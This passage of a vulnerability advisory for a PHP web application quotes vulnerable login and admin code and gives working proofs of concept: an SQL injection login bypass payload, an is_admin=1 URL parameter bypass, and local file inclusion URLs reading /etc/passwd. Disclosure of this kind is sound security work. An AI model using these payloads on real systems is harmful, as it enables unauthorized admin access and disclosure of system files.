2) Security Issues
-------------------
--- [ SQL Injection - Admin Access Bypass ] ---
===============================================
[login.php Source Code Bugged - Line 10 - 20]
require("includes/config.php");
// Authentification
// Script inspiré par DBprotect 1.0 de David Borrat (david@borrat.net)
if (isset($_POST['login'])) {
$login = $_POST['login'];
$pass = md5($_POST['pass']);
$sql = mysql_connect($global['sql_host'], $global['sql_user'], $global['sql_pass']);
mysql_select_db($global['sql_base'], $sql);
$verif_query = sprintf("SELECT * FROM " . $global['prefix'] . "_users WHERE username='$login' AND user_password='$pass'");
[end login.php Source Code]
As we can see the variables $login and $pass are not properly sanitized before being used; so is possibile to exploit this vulnerability remotely.
[ PoC ]
=======
Just run with your browser to login.php and insert in the login field: 1' OR '1' = '1' # and in the pass filed what you want! Now you have Admin credential!
--- [Global Variable problem - Admin Access Bypass ] ---
========================================================
[admin.php Source Code Bugged - Line 14]
[...]
if($is_admin == 1)
[...]
[end admin.php Source Code]
As we can se, via the browser we can just connect to admin.php script and pass the variable isadmin the number 1 :D.
[ PoC ]
=======
http://remote_host/[remote_path]/admin.php?is_admin=1
Now you are Admin ;)
--- [Local File Inclusion ] ---
===============================
[admin.php Source Code Bugged - Line 16]
[...]
include("admin/lang/" . $lang . ".inc.php");
[...]
[end admin.php Source Code]
As we can se, via the browser we can just connect to admin.php script and pass the variable $lang a pretty good path ;).
[ PoC ]
=======
Connect with Admin Credential and... Have fun..
eg 1:
http://127.0.0.1/files/admin.php?is_admin=1&lang=../../../../../../etc/passwd%00
eg 2:
First you must.. log in as Admin (SQL Injection Method) and then...
http://127.0.0.1/files/admin.php?&lang=../../../../../../etc/passwd%00
3) Patches
-----------
Edit the source code to ensure that the input will be properly sanitized before being used
